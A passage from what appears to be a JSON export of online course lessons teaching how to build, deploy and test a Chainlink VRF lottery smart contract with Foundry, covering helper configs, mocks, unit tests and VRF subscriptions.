VRF (Verifiable Random Function) to find its random number, ensuring fairness and opacity - the two pillars of any lottery system. Revealing the inner workings, you find a wealth of state variables and a detailed, attention-demanding constructor. Worth noting, this constructor is laying the groundwork for the rest of your smart contract.\n\n## Buying into the Raffle & Ensuring FairPlay\n\nThen comes the 'enter raffle' function, which is instrumental in ticket purchasing while certifying that only players who have paid the appropriate entrance fee can enter, thus maintaining the sanctity of the game. Your players are then added to the list (array) of contestants who are a lucky draw away from the prize.\n\nAfter an adequate timeframe, the 'checkUpkeep' swings into action. Curious how it's signaled when to move? Stick with me! Once certain conditions are met, such as the elapsing of time and players entering the raffle, this function is invoked.\n\n## The Decentralized Draw\n\nHere's where things heat up! If 'checkUpkeep' returns true - indicating that it's time for the lottery draw - Chainlink nodes, working in unison in a decentralized environment, will execute the 'perform upkeep' function, sparking a request to Chainlink.\n\nNow, it's time to wait a couple of blocks. Our VRF does need a moment to crunch those numbers, after all.\n\n## Winner Announcement & Reset\n\nOnce the Chainlink node responds, it triggers the `fulfillRandomness` function. This function embarks on the crucial task of choosing a random winner from our player array. Once the lucky winner is picked, the system resets for the next raffle.\n\nBoom! You've just completed your minimalistic, but provably fair smart contract. And even better, you've got a lottery system that runs on rock-solid principles of fairness.\n\n\n\nSo grab yourself a coffee and take a breather, you've done great so far! We'll catch up soon, where we’ll walk through further fascinating aspects of blockchain technology. Not just fair, your code is a work of art - keep it coming!\n\n## Next Steps and Interesting Reads\n\nIn our next module, we'll delve deeper into more advanced blockchain concepts and how to improve upon our existing code. Trust me, the rabbit hole goes much, much deeper! Till then, here are some interesting reads to keep the ball rolling:\n\n* [Understanding ChainLink](https://www.chain.link)\n* [Blockchain and Its Many Uses](https://www.ibm.com/topics/blockchain)\n* [Smart Contracts: The How-To](https://ethereum.org/greeter)\n\nWith this, we wrap up our journey through the 'Raffle Contract.' Here's to more code, more learning, and to building an efficient, fair lottery!\n", + "updates": [] + }, + { + "lessonId": "0b490f27-ba53-435f-ac70-a67eb4fe0146", + "number": 16, + "slug": "tests-and-deploy", + "title": "Tests and deploy the lotterys smart contract pt.1", + "description": "This lesson emphasizes the importance of testing and deploying smart contracts efficiently. It guides through creating deploy scripts and testing them on various networks, ensuring reliable and secure deployment of lottery contracts.", + "duration": 8, + "videoUrl": "KuzEyLsQd0101Y61s1Uqk014UjS01VNRGxQToEPTUXLvWkU", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/16-tests-and-deploy/+page.md", + "markdownContent": "***\n\n## title: Test and Deploy Script\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\nBefore we dive into writing tests to confirm the functionality and performance, We'd like to cover the need for additional getter functions which will make our code even more efficient. However, the main focus will be on developing sound, fail-safe test cases.\n\n## Plan for Writing Test Cases\n\nHere's our comprehensive plan:\n\n1. Write deploy scripts\n2. Write tests that will work on a local chain, a forked testnet, and a forked mainnet in tandem with our deployment scripts.\n\nSo, let's proceed without further ado!\n\n## Writing the Deploy Script\n\nLet's start by creating our deploy script. To do this, simply go to scripts, create a new file and name it: `DeployRaffle.sol`. Here we will define our SPDX license identifier as MIT. We will need to import a script from `forge-std/Script.sol`.\n\nRemember to run a sanity check by building our contract in the terminal. We need to specify our compiler version (0.8.18 in this instance) using the pragma solidity directive for it to work perfectly!\n\n```bash\npragma solidity 0.8.18;\n```\n\n\n\n## Creating the Run Function\n\nWe need to create a `run` function that will return our `Raffle` contract.\n\n```js\nfunction run() external returns (Raffle, HelperConfig) {}\n```\n\n## Writing the Deployment Script\n\nWhen writing down the deployment script, it's important that we refer back to the `Raffle` contract parameters as they are vital to the process. These parameters include an entrance fee, interval, VRF coordinator, gas lane, subscription ID, and callback gas limit.\n\nAs each of these parameters will vary depending on the chain used, a helper config file needs to be set up. This file will store these parameters, ensuring flexibility for deployment to any chain. Time to create a new file named: `Helperconfig.sol`.\n\n## Creating the HelperConfig Contract\n\nIn `Helperconfig.sol`, we'll create a `struct` called NetworkConfig. This struct will be populated with the parameters needed for each specific network we plan to deploy our protocol on - such as Sepolia and Anvil.\n\n```shell\ncontract HelperConfig is Script {\n struct NetworkConfig {\n uint64 subscriptionId;\n bytes32 gasLane;\n uint256 automationUpdateInterval;\n uint256 raffleEntranceFee;\n uint32 callbackGasLimit;\n address vrfCoordinatorV2;\n address link;\n uint256 deployerKey;\n }\n}\n```\n\n## Creating Network-Specific Config Functions\n\nFor both Sepolia and Anvil, we'll define corresponding `get` functions, `getSepoliaETHConfig` and `getAnvilETHConfig`, which return network specific configurations.\n\n```js\n function getSepoliaEthConfig()\n public\n view\n returns (NetworkConfig memory sepoliaNetworkConfig)\n {\n sepoliaNetworkConfig = NetworkConfig({\n subscriptionId: 0, // If left as 0, our scripts will create one!\n gasLane: 0x474e34a077df58807dbe9c96d3c009b23b3c6d0cce433e59bbf5b34f823bc56c,\n automationUpdateInterval: 30, // 30 seconds\n raffleEntranceFee: 0.01 ether,\n callbackGasLimit: 500000, // 500,000 gas\n vrfCoordinatorV2: 0x8103B0A8A00be2DDC778e6e7eaa21791Cd364625,\n link: 0x779877A7B0D9E8603169DdbD7836e478b4624789,\n deployerKey: vm.envUint(\"PRIVATE_KEY\")\n });\n }\n\n```\n\nRemember, for the Anvil network, we'll be working with mocks, a kind of 'just-for-test' dummy data that emulates the behavior of real data. This makes the Anvil network a bit more involved, but equally as important.\n\n## Conclusion\n\nThe deployment of intelligent contracts has been simplified through the use of helper function configuration and smart deployment. The key is defining the correct network parameters for the chain of interest, and ensuring accurate deployment, as demonstrated with our Ethereum-based Raffle app. This process, although demanding, ensures that code deployment becomes seamless, regardless of the network chain used.\n\nStay tuned to see how our test cases perform in different network environments!\n\n\n", + "updates": [] + }, + { + "lessonId": "0abda7e1-6960-471e-9109-c23a26d116c1", + "number": 17, + "slug": "deploy-mock-chainlink-vrf", + "title": "Deploy a mock Chainlink VRF", + "description": "The focus of this lesson is on deploying a mock Chainlink VRF, vital for testing smart contracts. It provides insights into setting up mock contracts, adjusting parameters, and the importance of Chainlink VRF in blockchain development.", + "duration": 5, + "videoUrl": "MuYRDaCRlIrI7PEOv0102Ga4y4exZQayCO4gDVEYyCC64", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/17-mock-chainlink-vrf/+page.md", + "markdownContent": "***\n\n## title: Mock Chainlink VRF\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\nGreetings, everyone! If you've been following our journey so far, you may recall that we recently moved from creating and running code completely on a chain from scratch, like Sepolia, to trying it out on a forked testnet. Now, our exploration takes us further. The question before us today is -\n\n\n\n## The Battle Preparations\n\nTo start with, we need several different contracts. At the very least, we definitely need a VRF (Verifiable Random Function) Coordinator. So, let's dive in and see how we can deploy our own VRF Coordinator.\n\nIn our Lib folder `chainLink-brownie-contracts/contracts/SRC/0.8`, we can start looking for this significant VRF code. This is where we'll find a treasure trove of mocks.\n\n## Unveiling the Mocks\n\nIn fact, there's a specific folder titled `VRFCoordinatorV2Mock` amongst these mocks. The brilliance here is that we can directly use this in our tests, instead of crafting one ourselves. Chainlink VRF has indeed done the job for us.\n\nHence, let's exploit this VRF Coordinator v Two mock that is already in place. The next step in our process is to deploy this mock, which leads us to...\n\n## Deploying the Mock\n\nWe can find the import pathway in the location `@chainlink/contracts/src/v0.8/mocks/VRFCoordinatorV2Mock.sol`.\n\nWith that, we are now equipped to deploy it using a ` vm.stopBroadcast();`. This is vital to deploy to any network.\n\n## Constructor Parameters\n\nDelving into the VRF Coordinator, we are made aware that it requires two important parameters - a base fee and a gas price link. For all your Chainlink VRF interactions, payments are made in Chainlink tokens or link tokens. That is the fundamental principle we are operating upon here.\n\nThe base fee encapsulates a flat fee, while the gas price link represents the amount of link tokens gained for each additional piece of gas you use. It is crucial to remember that when the Chainlink node calls back, the Chainlink node is responsible for the gas costs, and it gets reimbursed in link tokens, based on the gas price link parameter.\n\n## Wrapping Up\n\nAnd voila! We’ve successfully set up a Sepolia config and an anvil config with our mock contracts. The primary variation between Sepolia and Anvil is the different VRF coordinator mocks. This might be a challenging venture if one is new to the crypto world, but with time, patience and a tutorial like this, it becomes more accessible. Tune in next time for more exciting exploration of decentralized digital wonders!\n\nStay curious, stay knowledgeable and happy coding!\n", + "updates": [] + }, + { + "lessonId": "6d7b200e-2f00-4f5a-93fc-c11051574b88", + "number": 18, + "slug": "tests-and-deploy-2", + "title": "Tests and deploy the lotterys smart contract pt.2", + "description": "Continuing from the previous part, this lesson dives deeper into testing and deploying lottery smart contracts. It covers the usage of helper configurations and the integration of network-specific configurations for smooth deployment.", + "duration": 9, + "videoUrl": "eHmqmBmVR00eZbLM01HdMOfvFbiw7HYTYPPQTokPakk7E", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/18-tests-and-deploy-2/+page.md", + "markdownContent": "***\n\n## title: Test and Deploy Continued\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\n## The Helper Configurations\n\nFirstly, we need to import the helper configurations we previously made. We do this by adding:\n\n```js\nimport { HelperConfig } from \"./HelperConfig.s.sol\";\n```\n\nOnce we have the helper configurations in our workspace, we'll use them to deploy a new helper configuration. Here, we'll define `helperConfig` as a new instance of the HelperConfig class. Something like this:\n\n```javascript\n HelperConfig helperConfig = new HelperConfig(); // This comes with our mocks!\n```\n\nOnce the helper configuration is created, we're going to need to pull parameters from it based on the active network config. Here's the interesting part: we'll be deconstructing the `networkConfig` object into underlying parameters. This means extracting individual pieces of information from the network configuration and assigning them to new variables in our current scope.\n\nThe resulting code snippet looks like this:\n\n```javascript\n(\n uint64 subscriptionId,\n bytes32 gasLane,\n uint256 automationUpdateInterval,\n uint256 raffleEntranceFee,\n uint32 callbackGasLimit,\n address vrfCoordinatorV2,\n address link,\n uint256 deployerKey\n) = helperConfig.activeNetworkConfig();\n```\n\n## Starting The Virtual Machine Broadcast\n\nNow we have configured the helper configurations and deconstructed into smaller values. Now, we're ready to begin the virtual machine (VM) start broadcast.\n\n```javascript\nVM.startBroadcast();\n```\n\nThe VM will begin by instantiating a new Raffle contract. Parameters for the new Raffle contract are passed to the constructor, in the exact order expected by the constructor. They include `entranceFee`, `interval`, `VRFCoordinator`, `gaslane`, etc.\n\nAfter the new Raffle contract is created, the virtual machine stops the broadcast.\n\n```javascript\nVM.stopBroadcast();\n```\n\nAt this high level, the code should be good to go.\n\n## The Subscription ID\n\nBut we need to clarify one thing. You need a subscription ID. You can either get it from the user interface (UI) or generate it in your deployment script. Being a developer, I would prefer my script does everything for me. But of course, you can fetch it directly from the UI if that works better for you.\n\nHowever, we will pretend for now that this deployment script is working, even though it isn't, and begin writing unit tests.\n\n## Writing Unit Tests\n\nBuckle up, because it's time to write some tests! We'll start by creating two directories - one for unit tests, and another for integration tests.\n\nWithin our `unit_tests` directory, we'll create a new file `RaffleTest.t.sol`. This test file will include all of the necessary components for running a comprehensive test of our deployment script.\n\nThe structure of the test function includes the set up for the test environment, calls the deployment script, and tests to ensure that important variables are outputted correctly.\n\n```javascript\n function setUp() external {\n DeployRaffle deployer = new DeployRaffle();\n (raffle, helperConfig) = deployer.run();\n vm.deal(PLAYER, STARTING_USER_BALANCE);\n\n (\n ,\n gasLane,\n automationUpdateInterval,\n raffleEntranceFee,\n callbackGasLimit,\n vrfCoordinatorV2, // link\n // deployerKey\n ,\n\n ) = helperConfig.activeNetworkConfig();\n }\n```\n\nIn addition, we want to create a starting player, with a distinct address and initial balance of 10 ETH, to interact with the Raffle contract.\n\n```javascript\naddress public PLAYER = makeAddr(\"player\");\nuint256 public constant STARTING_USER_BALANCE = 10 ether;\n\n```\n\n## Checking The Deployment\n\nLastly, we want to test our deployments. To do so, we need to get all our parameters from the HelperConfig. Best practice would be to return both the newly deployed Raffle and the HelperConfig variables. That way, our tests have access to the exact same variables that were inputted during the Raffle's deployment.\n\n\n\n## Sanity Check\n\nFinally, let's run a quick sanity test to ensure that our raffle initializes in the `open` state. This can be done with a simple function that asserts that the state of the Raffle contract is `open`.\n\nAside from confirming the successful deployment of our Raffle contract, this test will also help verify that our HelperConfig and deployment script are working as expected.\n\nHere's what the function looks like:\n\n```javascript\n function testRaffleInitializesInOpenState() public view {\n assert(raffle.getRaffleState() == Raffle.RaffleState.OPEN);\n }\n```\n\nCongratulations! We've successfully written our deployment script and unit test. Now we can run our test suite and confidently deploy contracts on any specific networks, thanks to our HelperConfig configuration. Well done and stay tuned for the next post in our series!\n", + "updates": [] + }, + { + "lessonId": "7be9d513-2092-4406-8eff-045e1589265c", + "number": 19, + "slug": "setup-solidity-lottery-tests", + "title": "Setup the tests", + "description": "This lesson teaches the setup and execution of tests for smart contracts, emphasizing the significance of forge coverage and the Arrange-Act-Assert methodology to ensure robust and reliable smart contract functionality.", + "duration": 5, + "videoUrl": "OLcOrSfV5kT8Toysnub1chy8DhqQrCQ8ZbegkS8sXGo", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/19-lots-of-tests/+page.md", + "markdownContent": "***\n\n## title: Lots of Tests\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\nLet's shift our focus towards a programmatic approach to software development. One of the best ways to write robust, reliable code begins with writing some solid tests for it. At this point in your development journey, you may be thinking, \"Where do I start?\" Let's dive into creating tests with forge coverage.\n\nBefore starting, it's worth mentioning that coverage isn't the be-all and end-all of software testing, but the more you practice writing tests, the better your software will be. Along the way, you'll also pick up nifty tips and tricks that will help you write better code and better tests.\n\n## Start with Simple Test: Validate `EnterRaffle` Function\n\nAs an initial step, we'll start with creating tests for the `EnterRaffle` function.\n\n```javascript\nfunction enterRaffle() public payable {...}\n```\n\nHere is how we create a basic test:\n\n```javascript\n function testRaffleRevertsWHenYouDontPayEnought() public {\n // Arrange\n vm.prank(PLAYER);\n // Act / Assert\n vm.expectRevert(Raffle.Raffle__SendMoreToEnterRaffle.selector);\n raffle.enterRaffle();\n }\n```\n\nThe name of the method here explains the test’s aim–to verify whether entering a raffle without sufficient payment results in an error. This test follows the Arrange-Act-Assert methodology.\n\n## Arrange-Act-Assert: A Closer Look\n\nAlthough it isn't necessary to type out 'Arrange-Act-Assert' every time you write a test, it cannot be overstated how crucial this concept is to write effective tests.\n\n1. **Arrange**: This section sets up the necessary conditions for the test. In this case, it involves setting up a scenario where a user tries to enter the raffle without paying enough.\n2. **Act**: We enact the circumstance we are testing– in this case, trying to access the raffle without the necessary funds.\n3. **Assert**: The assert phase is where your tests confirm if the actual result meets the expected outcome.\n\n\n\n## Running the Test\n\nTo test this function, run the command `forge test -m \"[Title of your test]\"`. If written correctly, the test should pass.\n\n\n\n## Further Testing: Record Player Entrance\n\nAnother essential aspect to test is if our `players` array is being updated whenever a player enters the raffle successfully.\n\n```javascript\n function testRaffleRecordsPlayerWhenTheyEnter() public {\n // Arrange\n vm.prank(PLAYER);\n // Act\n raffle.enterRaffle{value: raffleEntranceFee}();\n // Assert\n address playerRecorded = raffle.getPlayer(0);\n assert(playerRecorded == PLAYER);\n }\n```\n\nSimilar to our first test, we create a scenario where a player enters the raffle and pays the required fee. The expected outcome would be that the `players` array records the player's address. However, since there is no way to access the `players` array as it is, we need to add an accessor function named `getPlayer`.\n\n```javascript\n function getPlayer(uint256 index) public view returns (address) {\n return s_players[index];\n }\n```\n\nThis function allows us by giving the index number of the player we want to get.\n\nThe final step would be to add the assertion which would verify if the `players` array recorded the player in the index we specified.\n\nRemember to run the `forge test -m \"[Title of your test]\"` command to check if your test passes.\n\nUsing these foundational principles, we're well on our way to creating a battery of tests.\n\nStay tuned for our upcoming posts where we'll dive deeper into writing more sophisticated tests for different scenarios, learning about function selectors and more. Happy testing!\n", + "updates": [] + }, + { + "lessonId": "5dda3821-5257-4e10-8980-e5e97370ea15", + "number": 20, + "slug": "testing-events-solidity", + "title": "Testing events", + "description": "A detailed guide on testing events emitted by smart contracts, highlighting the use of Foundry's `expectEmit` function. The lesson focuses on ensuring correct event emissions, crucial for smart contract validation.", + "duration": 4, + "videoUrl": "vkNjl2gTMOPogRh6FUPXK026D2XXbK01z1cn700SBnaZ5g", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/20-testing-events/+page.md", + "markdownContent": "***\n\n## title: Testing Events\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\nAs developers, it's essential to be thorough in our testing process, especially when developing smart contracts. Recently, I (Patrick) found myself pondering, \"What else do we need to test?\" After testing several lines within my code, it struck me! Testing the events emitted by functions; an important but often overlooked area of smart contract testing.\n\nIn Immutable Foundries, this can be a bit tricky, so today, let's conquer this vital frontier of blockchain development! Let's delve deep into our code cavern to ensure that our contract is emitting the correct events at the right time.\n\n## Triggering Events: The Expect Emit Function\n\nTesting smart contract event emissions in Foundry involves this secret maneuver I call *the cheat code*; named as such because it manipulates the runtime environment to accomplish our mission. It's a neat trick provided to us by Foundry's Virtual Machine, and it's called `expectEmit`.\n\nThis `expectEmit` function takes a few parameters:\n\n* A collection of Booleans that represent your indexed parameters (also known as topics in solidity event emissions).\n* Check data, usually checked Boolean values.\n* The address of the emitter (smart contract).\n\nThe function works as follows:\n\n```javascript\n function testEmitsEventOnEntrance() public {\n // Arrange\n vm.prank(PLAYER);\n\n // Act / Assert\n vm.expectEmit(true, false, false, false, address(raffle));\n emit RaffleEnter(PLAYER);\n raffle.enterRaffle{value: raffleEntranceFee}();\n }\n```\n\n* We declare that we expect a certain emit to match the parameters provided. This declaration flags the next instantiation of the function we’re about to run to emit an event.\n* Following the expectEmit declaration, we run the function that should cause the event emission.\n* We're saying \"this next emit that I do manually; I expect that to happen in this upcoming transaction.\"\n\n\n\nThis declaration should look like this:\n\n```javascript\nvm.expectEmit(true, false, false, false, address(raffle));\n```\n\nThe `vm.expectEmit` contains:\n\n* One `true`, signifying one indexed parameter or topic present in the event.\n* Following three `false`', indicating there are no additional parameters.\n* The address of the smart contract is `address(raffle)`.\n\n## Emulating Events in Tests: Redefine Them\n\nAs smooth as the `expectEmit` function makes the testing process, the inconvenience is the necessity to redefine events in our tests. Events in Solidity are not like enums or structures. We can't import them frugally across our application.\n\nInstead, we have to redefine these events within our individual tests.\n\n```javascript\n modifier raffleEntered() {\n vm.prank(PLAYER);\n raffle.enterRaffle{value: raffleEntranceFee}();\n vm.warp(block.timestamp + automationUpdateInterval + 1);\n vm.roll(block.number + 1);\n _;\n }\n```\n\nAfter redifining the contract event, you emit it manually with correct parameters and proceed to call the function that you expect will emit such an event during a transaction.\n\nFinally, after setting up our test function with the VM prank, supplying transaction parameters, and redefining the event, we can proceed to run the test.\n\n```bash\n forge test -m \n```\n\nAnd Voila! Now you have a thorough test for your event emissions, increasing the robustness of your smart contract. Don't skip this step in your tests. Event emission testing not only ensures correct data transaction but also achieves an effective means of logging and monitoring data flow during runtime. Happy coding!\n", + "updates": [] + }, + { + "lessonId": "09041b73-1723-40e6-b3fa-5f5907280e23", + "number": 21, + "slug": "vm-roll-warp", + "title": "Using vm.roll and vm.wrap", + "description": "Exploring the use of `vm.roll` and `vm.wrap` in smart contract testing, this lesson demonstrates how to adjust block time and number for testing various states and transitions in smart contracts.", + "duration": 3, + "videoUrl": "9GeLpylCMZTVr2MpUvq28ARV8QmIXqYs0078WbflxoOI", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/21-vm-roll-warp/+page.md", + "markdownContent": "***\n\n## title: VM.Roll adn VM.Warp\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\nAfter successfully entering the raffle, the next step involves kicking off a 'perform upkeep'. This function changes the state of the raffle to ‘calculating’. To do this, the 'checkUpkeep' function will have to return a value of true.\n\nEnough time must pass for this state transition to occur. In the context of working on a forked or local blockchain chain, things become interesting, and slightly tricky. On these chains, it's possible to modify the block time and block number. This can be achieved using the cheat codes 'VM warp' and 'VM roll'.\n\n**Adjusting the Block Time**\n\n```shell\nvm.warp(block.timestamp + automationUpdateInterval + 1);\n```\n\n**Modifying the Block Number**\n\n```shell\nvm.roll(block.number + 1);\n```\n\nIn the above code, 'VM warp' sets the block timestamp, while 'VM roll' modifies the block number. By adding '1' to each of these instances, the bonus block in the test ensures that the required time exceeds the interval.\n\nHowever, an important note: **Remember to always pass some empty data while calling 'performUpkeep'**.\n\n```shell\nraffle.performUpkeep(\"\");\n```\n\n## Testing the Calculating State\n\nAt this stage, the raffle should now be in the calculating state, so attempts to enter the raffle should fail. This can be simulated through the 'expect revert' function which expects the new attempt to join the raffle to be rejected by the contract.\n\n```shell\nvm.expectRevert(Raffle.Raffle__RaffleNotOpen.selector);\n```\n\nTo test this, we'll be pranking the player with the next real call to revert. This can be achieved by invoking 'VM Prank Player' with the next real call to the raffle's 'enter' function.\n\n```shell\nvm.prank(PLAYER);\n```\n\n## Takeaways\n\nTesting your smart contracts allows you to uncover potential bugs or loopholes in your code. Leveraging local blockchains provides an advantage of tweaking parameters like block time and number. Remember to be patient and thorough in your process, as this improves the reliability of the contracts you write. Happy testing!\n", + "updates": [] + }, + { + "lessonId": "336dea6a-f38c-4e01-9845-d1551f1325fa", + "number": 22, + "slug": "create-subscriptions", + "title": "Subscribing to events", + "description": "This lesson covers the process of deploying contracts, creating, and managing Chainlink VRF subscriptions. It focuses on resolving common errors and efficiently managing Chainlink VRF in smart contracts.", + "duration": 12, + "videoUrl": "c2w6l7tvIq156PgpNHlJCABsU6Q2Z4u1ygPVf2UGvyE", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/22-create-subscriptions/+page.md", + "markdownContent": "***\n\n## title: Create Subscriptions\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\nHave you ever encountered an `invalid consumer error` while deploying your raffle contracts using Chainlink VRF? Maybe you aren't familiar with the subscription model that Chainlink VRF uses, or perhaps you're uncertain about testing your contract. In this post, we'll guide you through the process of deploying raffle contracts, creating and funding a subscription, and adding a raffle contract as a consumer to the subscription.\n\nBy the end of this tutorial, you should be able to handle Chainlink VRF deployment with confidence. Let's dive right in!\n\n## Debugging: Invalid Consumer Error\n\nLet's start by adding some variables to see what's causing the problem. After adding five variables, we encountered an `invalid consumer error` on our VRF Coordinator mock. On opening the `VRFCoordinatorV2Mock.sol` file, we discovered a modifier named `only valid consumer`.\n\nThis modifier only allows operations if a consumer is added. This requirement hints at the subscription model that Chainlink VRF uses.\n\nHere’s a brief overview of the Chainlink VRF subscription model. When working with it, you'll need to follow these steps:\n\n1. Create a subscription\n2. Fund the subscription\n3. Add the raffle contract as a consumer to the subscription\n\nThe subscription model prevents random people from using your subscription. We learned this process by watching a video walkthrough that demonstrates how to perform all these steps via UI.\n\n## Improving the Deployment Script\n\nOur existing deployment script needs to ensure a valid subscription upon deployment. Each raffle contract we deploy needs to be added as a consumer to our subscription. On a real test network (testnet), we can perform these operations in the UI. However, for testing purposes, we need to do this programmatically.\n\nRather than tweaking the VRF Coordinator mock to automatically add a consumer, we opted for a more thorough solution. Refactoring our `DeployRaffle.s.sol` script allows us to run tests to simulate real usage. We're going to implement this process step-by-step below.\n\n## Refactoring to Create Subscription\n\nThe first change we make is to check the subscription ID. If it's absent or defaults to zero, calls to the function won't go through. We need a valid subscription ID from the helper configuration or from creating a new subscription manually.\n\nThe script below can identify whether we have a subscription ID or not:\n\n```javascript\n if (subscriptionId == 0) {\n CreateSubscription createSubscription = new CreateSubscription();\n subscriptionId = createSubscription.createSubscription(\n vrfCoordinatorV2,\n deployerKey\n );\n\n FundSubscription fundSubscription = new FundSubscription();\n fundSubscription.fundSubscription(\n vrfCoordinatorV2,\n subscriptionId,\n link,\n deployerKey\n );\n }\n```\n\nThe rest of the `DeployRaffle.s.sol` script will be housed in the `Interactions.s.so` contract, which includes a `createSubscription` function:\n\n```javascript\n function createSubscription(\n address vrfCoordinatorV2,\n uint256 deployerKey\n ) public returns (uint64) {\n console.log(\"Creating subscription on chainId: \", block.chainid);\n vm.startBroadcast(deployerKey);\n uint64 subId = VRFCoordinatorV2Mock(vrfCoordinatorV2)\n .createSubscription();\n vm.stopBroadcast();\n console.log(\"Your subscription Id is: \", subId);\n console.log(\"Please update the subscriptionId in HelperConfig.s.sol\");\n return subId;\n }\n```\n\nFor the `createSubscription` function, we'll be using the helper `config` to get the `VRF Coordinator` address, allowing us to create the subscription.\n\nTo call the `CreateSubscription` function, we use a `broadcast`. This action calls the `createSubscription` function on the `VRFCoordinator` mock:\n\n```javascript\nCreateSubscription createSubscription = new CreateSubscription();\nsubscriptionId = createSubscription.createSubscription(\n vrfCoordinatorV2,\n deployerKey\n);\n```\n\n\n", + "updates": [] + }, + { + "lessonId": "588706e2-4bd4-4f14-863f-e8b666222610", + "number": 23, + "slug": "subscription-ui", + "title": "Creating the subscription UI", + "description": "A guide to creating and managing front-end subscriptions for Ethereum Blockchain, this lesson covers steps from transaction initiation to automatic link token funding, emphasizing user interface interactions.", + "duration": 4, + "videoUrl": "TscJ5iTt9kMRbyHQUxd8td1N3DIbjx1UcKzo88wYecg", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/23-subscription-ui/+page.md", + "markdownContent": "***\n\n## title: Create Subscription UI\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\nOne of the crucial aspects of developing on the Ethereum Blockchain is to harness the power of front-end subscriptions. In the course of this guide, we'll take you through creating and funding a subscription, even on the testnet.\n\nThis might entail a considerable waiting time, courtesy of the testnets. However, we'll make the wait worth your while by diving deep into each step until you achieve automatic link token funding.\n\n## Creating a Subscription\n\nWhether you're a newbie or a seasoned coder, running transactions in the front end can be a rewarding and exciting task. Here’s how I go about it:\n\n```markdown\nApprove transaction > Calling Create Subscription > Await creation > View transaction\n```\n\nWhen you complete this transaction, you can then create a subscription with a unique ID. This ID becomes handy when you're about to add to your helper config or run your script.\n\nOften you'd remark:\n\n\n\n## Funding Your Subscription\n\nNow that you have your subscription, it’s time to get some Link tokens under your belt! Here's how you can do it:\n\n1. Initiate **Actions** > **Fund Subscription**.\n2. Ensure you have the Link in your wallet. If not, head over to the Faucets Chain Link.\n3. Select the number of links you'd like to acquire, I recommend 20 test links for a start.\n4. Confirm you're not a bot and input your address.\n5. Send the request and wait for the popup notification confirming your request.\n\n\n\nOnce you've covered these steps, you'll receive the tokens in your wallet. But remember, certain tokens like ERC20 and ERC677 don't automatically show in your MetaMask wallet.\n\n\n\n## Adding Tokens to MetaMask\n\nAfter refreshing your UI, you should see your active subscription. However, to see your tokens, you need to add them to your MetaMask. You can do this in a few steps:\n\n1. Navigate to **Docs chain link > Get Started > Link Token Contracts > Sepolia Testnet.**\n2. Copy the address or click **Add to Wallet** to instruct your MetaMask to import these tokens.\n3. Hit **Import Tokens** > **Paste address** > **Add custom tokens** > **Import tokens**.\n\n\n\nSee how simply you added Sepolia ETH and Abraham Lincoln? Now you have your tokens imported to MetaMask and are ready to fund your subscription.\n\n## Transferring Your Tokens\n\nWith your loaded MetaMask wallet, you can transfer funds to your subscription. Here’s how you can do it:\n\n1. Initiate **Actions** > **Fund Subscription**.\n2. Specify the numbers of links you want to transfer.\n3. Confirm your transaction.\n\n\n\nInteresting to note here is that the function prompted in this process is not on your VR app but on the Link Token contract. We're actually transferring tokens to a subscriptions contract and using the 'Transfer and Call' function on our contract to do so.\n\n## Conclusion\n\nWhile this guide didn’t actually call the function, it's imperative to highlight that a balance of zero is absolutely alright. In fact, we'll cover adding Link to your ID in Solidity in the next lessons. Until then, remember:\n\n\n\nKeep experimenting, keep learning!\n", + "updates": [] + }, + { + "lessonId": "73f1f9fb-9394-4e32-bb6d-e06009e3babc", + "number": 24, + "slug": "fund-subscription", + "title": "Fund subscription", + "description": "This lesson teaches how to create and execute a contract script to fund blockchain subscriptions, detailing the parameters needed and the process of funding subscriptions using mock functions.", + "duration": 13, + "videoUrl": "1k5LnDMqdReQBO58OPYO7MrQAm7Pn01VYUuW7DbGEx6k", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/24-fund-subscription/+page.md", + "markdownContent": "***\n\n## title: Fund Subscriptions\n\n*Follow along with this lesson and watch the video below:*\n\n***\n\n## Creating a New Contract\n\nFirst things first. Head over to the Interactions section, and create a new contract, named `FundSubscription`. This contract script, residing within `interactions.s.sol`, will allow you to select an amount and fund your subscription.\n\nRemember, the amount has to be a `uint96` , but let's keep things simple for now and set a public constant `FUND_AMOUNT` to three ether.\n\n```js\nuint96 public constant FUND_AMOUNT = 3 ether;\n```\n\n## Setting the Parameters\n\nTo fund your subscription, you will need three important elements:\n\n* Subscription ID\n* VRF Coordinator V2 address\n* Link address\n\nStart by specifying the `VRFCoordinator` address and the `uint64` `subId`. The `subID` corresponds to the subscription you want to fund.\n\n```js\nHelperConfig helperConfig = new HelperConfig();\n (\n uint64 subId,\n ,\n ,\n ,\n ,\n address vrfCoordinatorV2,\n address link,\n uint256 deployerKey\n ) = helperConfig.activeNetworkConfig();\n```\n\nFor these configurations, you'll use the already existing `HelperConfig.s.sol`. However, you'll notice, it doesn't yet include a link token. Adding a link token will facilitate funding the subscription as it forms the basis of the contract call.\n\nThe link tokens for Sepolia already exist, and they can be easily found and added.\n\nNext, for Anvil, you'll need to deploy a mock link token. To ease the process, simply rewrite the link contract for a newer version of Solidity. This can be easily done using my Foundry smart contract lottery F23.\n\n## Funding the Subscription\n\nNow that the `link_address` is ready, go back to your interactions and create a new function named `fund_subscription`. The function should have three inputs: `VRF_Coordinator`, `sub_ID`, and `link`.\n\n```js\ncontract FundSubscription is Script {\n uint96 public constant FUND_AMOUNT = 3 ether;\n\n function fundSubscriptionUsingConfig() public {\n HelperConfig helperConfig = new HelperConfig();\n (\n uint64 subId,\n ,\n ,\n ,\n ,\n address vrfCoordinatorV2,\n address link,\n uint256 deployerKey\n ) = helperConfig.activeNetworkConfig();\n fundSubscription(vrfCoordinatorV2, subId, link, deployerKey);\n }\n```\n\nThis function works in much the same way as the front-end does to fund subscriptions. However, remember that the VRF Coordinator Mock 